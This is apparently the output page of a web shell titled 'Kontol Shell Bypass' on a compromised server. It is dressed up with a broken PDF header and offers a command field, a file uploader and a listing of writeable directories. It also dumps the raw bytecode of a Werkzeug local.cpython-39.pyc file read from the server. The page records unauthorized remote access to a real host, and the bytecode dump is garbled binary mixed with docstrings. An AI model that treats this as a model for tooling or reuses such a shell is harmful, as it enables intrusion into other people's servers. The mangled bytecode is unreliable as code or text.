%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/werkzeug/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/werkzeug/__pycache__/local.cpython-39.pyc
a

�_g�W�@sPddlmZddlZddlZddlZddlZddlmZddl	m
Z
ddl	mZddlmZddl
mZejr�dd	lmZdd
lmZddlmZe�d�Zejd
ejdejfd�Zddd�dd�ZGdd�d�ZGdd�deje�ZGdd�d�ZGdd�d�ZGdd�de�Zd
d
d�d d!�Z ddd"�d#d$�Z!Gd%d&�d&eje�Z"dS)'�)�annotationsN)�
ContextVar��partial)�update_wrapper)�
attrgetter�)�ClosingIterator)�
StartResponse)�WSGIApplication)�WSGIEnvironment�T�F.)�boundzLocal | LocalStack[t.Any]�None)�local�returncCs|��dS)z�Release the data for the current context in a :class:`Local` or
    :class:`LocalStack` without using a :class:`LocalManager`.

    This should not be needed for modern use cases, and may be removed
    in the future.

    .. versionadded:: 0.6.1
    N)�__release_local__)r�r�;/vddos/python/lib/python3.9/site-packages/werkzeug/local.py�
release_locals	rc@s�eZdZdZdZdddd�dd�Zd	d
�dd�Zdd
�dddd�dd�Zdd
�dd�Zddd�dd�Z	dddd�dd�Z
ddd�dd�ZdS) �LocalaqCreate a namespace of context-local data. This wraps a
    :class:`ContextVar` containing a :class:`dict` value.

    This may incur a performance penalty compared to using individual
    context vars, as it has to copy data to avoid mutating the dict
    between nested contexts.

    :param context_var: The :class:`~contextvars.ContextVar` to use as
        storage for this local. If not given, one will be created.
        Context vars not created at the global scope may interfere with
        garbage collection.

    .. versionchanged:: 2.0
        Uses ``ContextVar`` instead of a custom storage implementation.
    )Z	__storageNz#ContextVar[dict[str, t.Any]] | Noner��context_varrcCs.|durtdt|��d��}t�|d|�dS)Nzwerkzeug.Local<�	>.storage�_Local__storage)r�id�object�__setattr__��selfrrrr�__init__6szLocal.__init__zt.Iterator[tuple[str, t.Any]]�rcCst|j�i����S�N)�iterr�get�items�r rrr�__iter__@szLocal.__iter__��unbound_message�str�
str | None�LocalProxy[t.Any]��namer*rcCst|||d�S)z�Create a :class:`LocalProxy` that access an attribute on this
        local namespace.

        :param name: Proxy this attribute.
        :param unbound_message: The error message that the proxy will
            show if the attribute isn't set.
        r)��
LocalProxy�r r/r*rrr�__call__Cs
zLocal.__call__cCs|j�i�dSr#)r�setr'rrrrOszLocal.__release_local__�t.Any)r/rcCs(|j�i�}||vr||St|��dSr#)rr%�AttributeError�r r/�valuesrrr�__getattr__RszLocal.__getattr__)r/�valuercCs(|j�i���}|||<|j�|�dSr#)rr%�copyr4)r r/r:r8rrrrZszLocal.__setattr__cCs<|j�i�}||vr0|��}||=|j�|�nt|��dSr#)rr%r;r4r6r7rrr�__delattr___szLocal.__delattr__)N)�__name__�
__module__�__qualname__�__doc__�	__slots__r!r(r3rr9rr<rrrrr#s
�rc@s~eZdZdZdZdddd�dd�Zdd	�d
d�Zdd
d�dd�Zdd	�dd�Ze	dd	�dd��Z
ddd�dddd�dd�ZdS)�
LocalStacka�Create a stack of context-local data. This wraps a
    :class:`ContextVar` containing a :class:`list` value.

    This may incur a performance penalty compared to using individual
    context vars, as it has to copy data to avoid mutating the list
    between nested contexts.

    :param context_var: The :class:`~contextvars.ContextVar` to use as
        storage for this local. If not given, one will be created.
        Context vars not created at the global scope may interfere with
        garbage collection.

    .. versionchanged:: 2.0
        Uses ``ContextVar`` instead of a custom storage implementation.

    .. versionadded:: 0.6.1
    )�_storageNzContextVar[list[T]] | NonerrcCs&|durtdt|��d��}||_dS)Nzwerkzeug.LocalStack<r)rrrCrrrrr!szLocalStack.__init__r"cCs|j�g�dSr#)rCr4r'rrrr�szLocalStack.__release_local__r
zlist[T])�objrcCs*|j�g���}|�|�|j�|�|S)z'Add a new item to the top of the stack.)rCr%r;�appendr4)r rD�stackrrr�push�s
zLocalStack.pushzT | NonecCs<|j�g�}t|�dkrdS|d}|j�|dd��|S)zjRemove the top item from the stack and return it. If the
        stack is empty, return ``None``.
        rN���)rCr%�lenr4)r rF�rvrrr�pop�szLocalStack.popcCs$|j�g�}t|�dkrdS|dS)z[The topmost item on the stack.  If the stack is empty,
        `None` is returned.
        rNrH)rCr%rI)r rFrrr�top�szLocalStack.topr)r,r-r.cCst|||d�S)a@Create a :class:`LocalProxy` that accesses the top of this
        local stack.

        :param name: If given, the proxy access this attribute of the
            top item, rather than the item itself.
        :param unbound_message: The error message that the proxy will
            show if the stack is empty.
        r)r0r2rrrr3�szLocalStack.__call__)N)N)r=r>r?r@rAr!rrGrK�propertyrLr3rrrrrBjs

��rBc@sbeZdZdZdZdddd�dd�Zdd	�d
d�Zddd
�dd�Zddd�dd�Zdd	�dd�Z	dS)�LocalManageraManage releasing the data for the current context in one or more
    :class:`Local` and :class:`LocalStack` objects.

    This should not be needed for modern use cases, and may be removed
    in the future.

    :param locals: A local or list of locals to manage.

    .. versionchanged:: 2.1
        The ``ident_func`` was removed.

    .. versionchanged:: 0.7
        The ``ident_func`` parameter was added.

    .. versionchanged:: 0.6.1
        The :func:`release_local` function can be used instead of a
        manager.
    )�localsNzJNone | (Local | LocalStack[t.Any] | t.Iterable[Local | LocalStack[t.Any]])r)rOrcCs2|durg|_nt|t�r$|g|_n
t|�|_dSr#)rO�
isinstancer�list)r rOrrrr!�s


zLocalManager.__init__r"cCs|jD]}t|�qdS)z�Release the data in the locals for this context. Call this at
        the end of each request or use :meth:`make_middleware`.
        N)rOr)r rrrr�cleanup�s
zLocalManager.cleanupr)�apprcsdddd���fdd�}|S)z�Wrap a WSGI application so that local data is released
        automatically after the response has been sent for a request.
        rr
zt.Iterable[bytes])�environ�start_responsercst�||��j�Sr#)r	rR)rTrU�rSr rr�application�sz1LocalManager.make_middleware.<locals>.applicationr)r rSrWrrVr�make_middleware�szLocalManager.make_middleware)�funcrcCst|�|�|�S)z�Like :meth:`make_middleware` but used as a decorator on the
        WSGI application function.

        .. code-block:: python

            @manager.middleware
            def application(environ, start_response):
                ...
        )rrX)r rYrrr�
middleware�s
zLocalManager.middlewarer+cCsdt|�j�dt|j��d�S)N�<z storages: �>)�typer=rIrOr'rrr�__repr__�szLocalManager.__repr__)N)
r=r>r?r@rAr!rRrXrZr^rrrrrN�s�rNc@steZdZdZdZdddddd	d
�dd�Zd
dd	d�dd�Zdd
ddd�dd�Zdd�dd�Zd
dddd�dd�Z	dS)�_ProxyLookupa�Descriptor that handles proxied attribute lookup for
    :class:`LocalProxy`.

    :param f: The built-in function this attribute is accessed through.
        Instead of looking up the special method, the function call
        is redone on the object.
    :param fallback: Return this function if the proxy is unbound
        instead of raising a :exc:`RuntimeError`.
    :param is_attr: This proxied name is an attribute, not a function.
        Call the fallback immediately to get the value.
    :param class_value: Value to return when accessed from the
        ``LocalProxy`` class directly. Used for ``__doc__`` so building
        docs still works.
    )�bind_f�fallback�is_attr�class_valuer/NF�t.Callable[..., t.Any] | None�-t.Callable[[LocalProxy[t.Any]], t.Any] | Nonezt.Any | None�boolr)�frarcrbrcsbt�d�r"dddd��fdd�}n$�durBdddd��fdd�}nd}||_||_||_||_dS)	N�__get__r-r5�t.Callable[..., t.Any]��instancerDrcs��|t|��Sr#�rhr]�rkrD�rgrrr`sz%_ProxyLookup.__init__.<locals>.bind_fcs
t�|�Sr#rrmrnrrr`%s)�hasattrr`rarcrb)r rgrarcrbr`rrnrr!s	
z_ProxyLookup.__init__r-r+)�ownerr/rcCs
||_dSr#�r/)r rpr/rrr�__set_name__3sz_ProxyLookup.__set_name__ztype | Noner5)rkrprcCs�|dur|jdur|jS|Sz|��}Wn@tyh|jdurB�|j�||�}|jr`|�YS|YS0|jdur�|�||�St||j�Sr#)	rc�_get_current_object�RuntimeErrorrarhrbr`�getattrr/)r rkrprDrarrrrh6s 




z_ProxyLookup.__get__r"cCsd|j��S)Nzproxy rqr'rrrr^Qsz_ProxyLookup.__repr__)rk�args�kwargsrcOs|�|t|��|i|��S)z�Support calling unbound methods from the class. For example,
        this happens with ``copy.copy``, which does
        ``type(x).__copy__(x)``. ``type(x)`` can't be proxied, so it
        returns the proxy type and descriptor.
        rl)r rkrvrwrrrr3Tsz_ProxyLookup.__call__)NNNF)N)
r=r>r?r@rAr!rrrhr^r3rrrrr_�s�"r_cs0eZdZdZdZd
dddd��fdd	�
Z�ZS)�	_ProxyIOpz�Look up an augmented assignment method on a proxied object. The
    method is wrapped to return the proxy instead of the object.
    rNrdrer)rgrarcs.t���|�dddd��fdd�}||_dS)Nr-r5rirjcs(dddd���fdd�}|�|t|��S)Nr5r-)r �otherrcs�||��Sr#r�r ry)rgrkrr�i_opns
z0_ProxyIOp.__init__.<locals>.bind_f.<locals>.i_oprl)rkrDr{rn)rkrr`msz"_ProxyIOp.__init__.<locals>.bind_f)�superr!r`)r rgrar`��	__class__rnrr!fsz_ProxyIOp.__init__)NN)r=r>r?r@rAr!�
__classcell__rrr}rrx_s
�rx)�oprcs"dddd��fdd�}t�t|�S)z5Swap the argument order to turn an l-op into an r-op.r5)rDryrcs
�||�Sr#r)rDry�r�rr�r_opzsz_l_to_r_op.<locals>.r_op)�t�castr)r�r�rr�r�
_l_to_r_opwsr�)�orcCs|Sr#r)r�rrr�	_identity�sr�c@s�eZdZUdZdZded<ddd�dddd	d
�dd�Zeed
d�dd�Zedd�dd�Zee	dd�d�Z
ee�Zee
�Ze�Zeej�Zeej�Zeej�Zeej�Zeej�Zeej�Zee�Zeedd�d�Z ee!�Z"ee#�Z$ee%�Z&ee'dd�d�Z(edd�dd�Z)edd��Z*edd��Z+edd��Z,ee-�Z.eej/�Z0eej1�Z2eej3�Z4eej5�Z6ee7�Z8ee9�Z:ee;�Z<eej=�Z>eej?�Z@eejA�ZBeejC�ZDeejE�ZFeejG�ZHeejI�ZJeejK�ZLeeM�ZNeeO�ZPeejQ�ZReejS�ZTeejU�ZVeejW�ZXeejY�ZZee[ej?��Z\ee[ejA��Z]ee[ejC��Z^ee[ejE��Z_ee[ejG��Z`ee[ejI��Zaee[ejK��Zbee[eM��Zcee[eO��Zdee[ejQ��Zeee[ejS��Zfee[ejU��Zgee[ejW��Zhee[ejY��Ziejejk�Zlejejm�Znejejo�Zpejejq�Zrejejs�Ztejeju�Zvejejw�Zxejejy�Zzejej{�Z|ejej}�Z~ejej�Z�ejej��Z�ejej��Z�eej��Z�eej��Z�ee��Z�eej��Z�ee��Z�ee��Z�ee��Z�eej��Z�ee��Z�ee�j��Z�ee�j��Z�ee�j��Z�e�Z�e�Z�e�Z�e�Z�e�Z�e�Z�e�Z�ee�j��Z�ee�j��Z�dS)r1as	A proxy to the object bound to a context-local object. All
    operations on the proxy are forwarded to the bound object. If no
    object is bound, a ``RuntimeError`` is raised.

    :param local: The context-local object that provides the proxied
        object.
    :param name: Proxy this attribute from the proxied object.
    :param unbound_message: The error message to show if the
        context-local object is unbound.

    Proxy a :class:`~contextvars.ContextVar` to make it easier to
    access. Pass a name to proxy that attribute.

    .. code-block:: python

        _request_var = ContextVar("request")
        request = LocalProxy(_request_var)
        session = LocalProxy(_request_var, "session")

    Proxy an attribute on a :class:`Local` namespace by calling the
    local with the attribute name:

    .. code-block:: python

        data = Local()
        user = data("user")

    Proxy the top item on a :class:`LocalStack` by calling the local.
    Pass a name to proxy that attribute.

    .. code-block::

        app_stack = LocalStack()
        current_app = app_stack()
        g = app_stack("g")

    Pass a function to proxy the return value from that function. This
    was previously used to access attributes of local objects before
    that was supported directly.

    .. code-block:: python

        session = LocalProxy(lambda: request.session)

    ``__repr__`` and ``__class__`` are proxied, so ``repr(x)`` and
    ``isinstance(x, cls)`` will look like the proxied object. Use
    ``issubclass(type(x), LocalProxy)`` to check if an object is a
    proxy.

    .. code-block:: python

        repr(user)  # <User admin>
        isinstance(user, User)  # True
        issubclass(type(user), LocalProxy)  # True

    .. versionchanged:: 2.2.2
        ``__wrapped__`` is set when wrapping an object, not only when
        wrapping a function, to prevent doctest from failing.

    .. versionchanged:: 2.2
        Can proxy a ``ContextVar`` or ``LocalStack`` directly.

    .. versionchanged:: 2.2
        The ``name`` parameter can be used with any proxied object, not
        only ``Local``.

    .. versionchanged:: 2.2
        Added the ``unbound_message`` parameter.

    .. versionchanged:: 2.0
        Updated proxied attributes and methods to reflect the current
        data model.

    .. versionchanged:: 0.6.1
        The class can be instantiated with a callable.
    )Z	__wrappedrszt.Callable[[], T]rsNr)z9ContextVar[T] | Local | LocalStack[T] | t.Callable[[], T]r,r)rr/r*rcs�|durt�nt|���dur"d�t�t�rT|dur<td��dd����fdd�}nvt�t�rvdd����fdd�}nTt�t�r�dd����fdd�}n2t��r�dd���fd	d�}ntd
t���d���t	�
|d��t	�
|d
|�dS)Nzobject is not boundz2'name' is required when proxying a 'Local' object.r
r"cs,z
���WSty&t��d�Yn0dSr#)r6rtr��get_namerr*rrrs�s
z0LocalProxy.__init__.<locals>._get_current_objectcs�j}|durt����|�Sr#)rLrt�rDr�rrrs�scs2z���}Wnty(t��d�Yn0�|�Sr#)r%�LookupErrorrtr�r�rrrss
cs
����Sr#rr)r�rrrrs
szDon't know how to proxy 'z'.�_LocalProxy__wrappedrs)r�rrPr�	TypeErrorrBr�callabler]rr)r rr/r*rsrr�rr!�s$


zLocalProxy.__init__cCs
t|�jSr#)r]r@r'rrr�<lambda>�zLocalProxy.<lambda>T)rcrarbcCs|jSr#)r�r'rrrr�r�)rarbcCsdt|�j�d�S)Nr[z	 unbound>)r]r=r'rrrr�r�)racCsdS)NFrr'rrrr�+r�cCsgSr#rr'rrrr�0r�cCst|�Sr#)r]r'rrrr�;r�cCs
t||�Sr#)rPrzrrrr�<r�cCs
t||�Sr#)�
issubclassrzrrrr�=r�cOs||i|��Sr#r)r rvrwrrrr�?r�)N)�r=r>r?r@rA�__annotations__r!r_�__wrapped__�reprr^r+�__str__�bytes�	__bytes__�
__format__�operator�lt�__lt__�le�__le__�eq�__eq__�ne�__ne__�gt�__gt__�ge�__ge__�hash�__hash__rf�__bool__rur9�setattrr�delattrr<�dir�__dir__r~�__instancecheck__�__subclasscheck__r3rI�__len__�length_hint�__length_hint__�getitem�__getitem__�setitem�__setitem__�delitem�__delitem__r$r(�next�__next__�reversed�__reversed__�contains�__contains__�add�__add__�sub�__sub__�mul�__mul__�matmul�
__matmul__�truediv�__truediv__�floordiv�__floordiv__�mod�__mod__�divmod�
__divmod__�pow�__pow__�lshift�
__lshift__�rshift�
__rshift__�and_�__and__�xor�__xor__�or_�__or__r��__radd__�__rsub__�__rmul__�__rmatmul__�__rtruediv__�
__rfloordiv__�__rmod__�__rdivmod__�__rpow__�__rlshift__�__rrshift__�__rand__�__rxor__�__ror__rx�iadd�__iadd__�isub�__isub__�imul�__imul__�imatmul�__imatmul__�itruediv�__itruediv__�	ifloordiv�
__ifloordiv__�imod�__imod__�ipow�__ipow__�ilshift�__ilshift__�irshift�__irshift__�iand�__iand__�ixor�__ixor__�ior�__ior__�neg�__neg__�pos�__pos__�abs�__abs__�invert�
__invert__�complex�__complex__�int�__int__�float�	__float__�index�	__index__�round�	__round__�math�trunc�	__trunc__�floor�	__floor__�ceil�__ceil__�	__enter__�__exit__�	__await__�	__aiter__�	__anext__�
__aenter__�	__aexit__r;�__copy__�deepcopy�__deepcopy__rrrrr1�s�
M
��8
���











































r1)#�
__future__rr;rr��typingr�Zcontextvarsr�	functoolsrrrZwsgir	�
TYPE_CHECKINGZ_typeshed.wsgir
rr�TypeVarr
�Callable�Anyrrr�GenericrBrNr_rxr�r�r1rrrr�<module>s0
GPE`	

Kontol Shell Bypass